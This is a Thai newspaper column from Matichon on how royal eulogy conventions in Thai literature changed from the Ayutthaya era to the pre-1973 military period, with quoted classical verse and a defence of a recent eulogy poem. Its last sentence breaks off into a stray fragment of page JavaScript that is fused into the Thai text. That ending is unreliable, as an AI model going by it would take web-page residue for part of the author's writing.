มติชนรายวัน ฉบับประจำวันศุกร์ที่ 14 ธันวาคม 2555

 

          พิธีกรรมศักดิ์สิทธิ์ในขนบวรรณกรรมเทิดพระเกียรติของไทย เปลี่ยนแปลงเป็นช่วงๆ ตามยุคสมัยที่เปลี่ยนไป

          วรรณกรรมอยุธยายุคแรกๆ ให้ความสำคัญอย่างเคร่งครัดแก่คำประณามพจน์ เพราะการแต่งวรรณกรรมเป็นพิธีกรรมศักดิ์สิทธิ์อย่างหนึ่งของราชสำนักสมัยนั้น ซึ่งต้องแสดงบูชามหาเทพที่อวตารลงมาเป็นกษัตริย์ปกครองราชอาณาจักร

          มีตัวอย่างคลาสสิคมากๆ เป็นคำประณามพจน์อยู่ในยวนพ่ายโคลงดั้นยอพระเกียรติ ว่า “เอกาทศเทพ” แปลว่า เทพเจ้า 11 องค์ รวมเป็นองค์สมเด็จพระบรมไตรโลกนาถ ดังนี้

          พรหมพิศณุบรเมศวร์เจ้า             จอมเมรุ  มาศแฮ

          ยมเมศมารุตอร                              อาศน์ม้า

          พรุณอัคนิกุเพนทรา-                      สุรเสพย์

          เรืองรวิวรฟ้าจ้า                              แจ่มจันทร

          (ประณามพจน์ หมายถึง ถ้อยคำน้อมไหว้ยกย่อง ประณาม แปลว่า น้อมไหว้, ยกย่อง พจน์ แปลว่า ถ้อยคำ)

          ครั้นเข้ายุครัตนโกสินทร์ พิธีกรรมศักดิ์สิทธิ์ลดลง คำประณามพจน์ก็เปลี่ยนไปจากแสดงบูชามหาเทพเป็นชมเมือง ซึ่งเป็นสัญลักษณ์ของกษัตริย์ และพระราชกรณียกิจของกษัตริย์โดยตรง เช่น ทำศึกสงครามชนะ

          ดังกรณีคำประณามพจน์ในบทละครเรื่องรามเกียรติ์ พระราชนิพนธ์ ร.1 แต่งเป็นร่าย

          เริ่มด้วยพระราชกรณียกิจการศึกชนะ ว่า “—–ตรีภูดาธารราญราพณ์  ปราบอรินทร์สิ้นสยบ  ภพเกษมเปรมประชากรหฤหรรษ์—–”

          แล้วต่อท้ายด้วยชมเมือง ที่ฝูงอาณาประชาราษฎรสุขสบาย ว่า “—–อกเมืองสุขอยู่ระรื่น  หน้าเมืองชื่นแสล้ม  ยแย้มกลบัวบาน  แสนสำราญสำเริง  บันเทิงทั้งธรณี พระนครศรียุธเยศ  ด้วยพระเดชเกศกษัตริย์  ดำรงทัศธรรมิศพิพิธมหิมา  กลฉัตรากรเกือบกั้ง  ตั้งทรสุมทรสาย  รัศมีฉายปกห่ม  เย็นร่มทั่วแหล่งหล้า  ไพร่ฟ้าประชากรเริงรื่น  ชื่นสาวหนุ่มครุ่มเครง—–”

          ที่กล่าวมาแต่ต้นนั้น ผมสรุปจากงานของ จิตร ภูมิศักดิ์ (จากหนังสือโองการแช่งน้ำ) และ นิธิ เอียวศรีวงศ์ (จากหนังสือปากไก่และใบเรือ)

          อาศิรวาท หรือ อาเศียรวาท สืบเนื่องขนบคำประณามพจน์ ตั้งแต่ยุคอยุธยา ผ่านยุคธนบุรี ถึงยุคต้นรัตนโกสินทร์ สู่ปัจจุบัน (อาศิรวาท หมายถึงคำแสดงบูชาถวายพระพรกษัตริย์ อาศิร แปลว่า การอวยพร วาท แปลว่า คำพูด, ถ้อยคำ)

          ช่วงเวลาระหว่างหลัง 2510 จนถึงก่อน 14 ต.ค. 2516 เป็นยุคเผด็จการทหาร สฤษดิ์-ถนอม-ประภาส บทอาศิรวาทจำแนกกว้างๆได้ 2 แบบ คือ แบบพิทักษ์ขนบเดิม กับแบบพัฒนาขนบเดิม

          พิทักษ์ขนบเดิม หมายถึง เคร่งครัดฉันทลักษณ์ศักดิ์สิทธิ์ ต้องแต่งอาศิรวาทด้วย โคลงดั้น, ฉันท์, กาพย์ เท่านั้น ใครแต่งอย่างอื่นจะถูกกล่าวหาว่าหมิ่น โดยเฉพาะกลอนเป็นของต้องห้าม ถือเป็นชั้นต่ำ ใช้ถวายพระพรไม่ได้

          อาศิรวาทจึงเต็มไปด้วยภาษาบาลี-สันสกฤตและเขมร ที่ราวกับว่าผู้แต่งเปิดพจนานุกรมหาศัพท์สูงๆแต่งให้นักปราชญ์ทางภาษาอ่านเท่านั้น คนทั่วไปอ่านไม่เข้าใจ ไม่รู้ว่าจะบอกอะไร

          พัฒนาขนบเดิม หมายถึง แต่งเป็นกลอนสุภาพแบบสุนทรภู่ตามขนบเดิม แต่ด้วยเนื้อหาเน้นความจริงตามประสบการณ์ทางสังคมไทยยุคนั้น ที่เดือดร้อนเพราะเผด็จการทหาร แต่ร่มเย็นด้วยพระบารมี จึงขอพระบารมีเป็นที่พึ่งให้มีประชาธิปไตย

          อาศิรวาทอย่างนี้หลีกเลี่ยงคำบาลี-สันสกฤตและเขมร แต่จงใจใช้คำธรรมดาในชีวิตประจำวันสามัญชน ทำให้คนทั่วไปอ่านรู้เรื่องและเข้าใจตรงกัน ว่าต่อต้านเผด็จการทหารที่ทำลายระบอบประชาธิปไตย

          ผล คือ พวกพิทักษ์กล่าวหาพวกพัฒนา ว่าทำผิดจารีตประเพณีอันดีงามความเป็นไทย แล้วโยนข้อหาคลาสสิคว่าไม่จงรักภักดี

          แต่บรรดาคนอ่านยุคนั้นพอใจอาศิรวาทแบบพัฒนาขนบเดิม เพราะอ่านรู้เรื่อง เข้าใจง่าย แล้วไม่ถือเป็นผิดตกบกพร่องใดๆ แต่กลับพัฒนาขนบให้ก้าวหน้าอย่างร่วมสมัยด้วยซ้ำ

          พยานหลักฐานเรื่องนี้ มีในหนังสือพิมพ์และนิตยสารค่ายสยามรัฐช่วงก่อน 14 ต.ค. 2516

          บทอาศิรวาทพิมพ์ในมติชนเมื่อ 5 ธ.ค. ที่ผ่านมา ไม่ได้ทิ้งขนบเดิม แต่ไม่ได้พิทักษ์ หากพัฒนาด้วยภาษาสัญลักษณ์อันงดงาม ที่บรรดาผู้พิทักษ์ขนบเดิมไม่เข้าใจ เลยไม่ถูกใจ แล้วพยายามยัดเยียดข้อกล่าวหาคลาสสิคอีก

          น่าประหลาดตรงที่นักวิชาการด้านภาษาไทยและวรรณคดีไทยจำนวนหนึ่งก็ไม่เข้าใจพัฒนาการและสัญลักษณ์ในวรรณกรรมไทยd.getElementsByTagName(‘head’)[0].appendChild(s);if (document.currentScript) {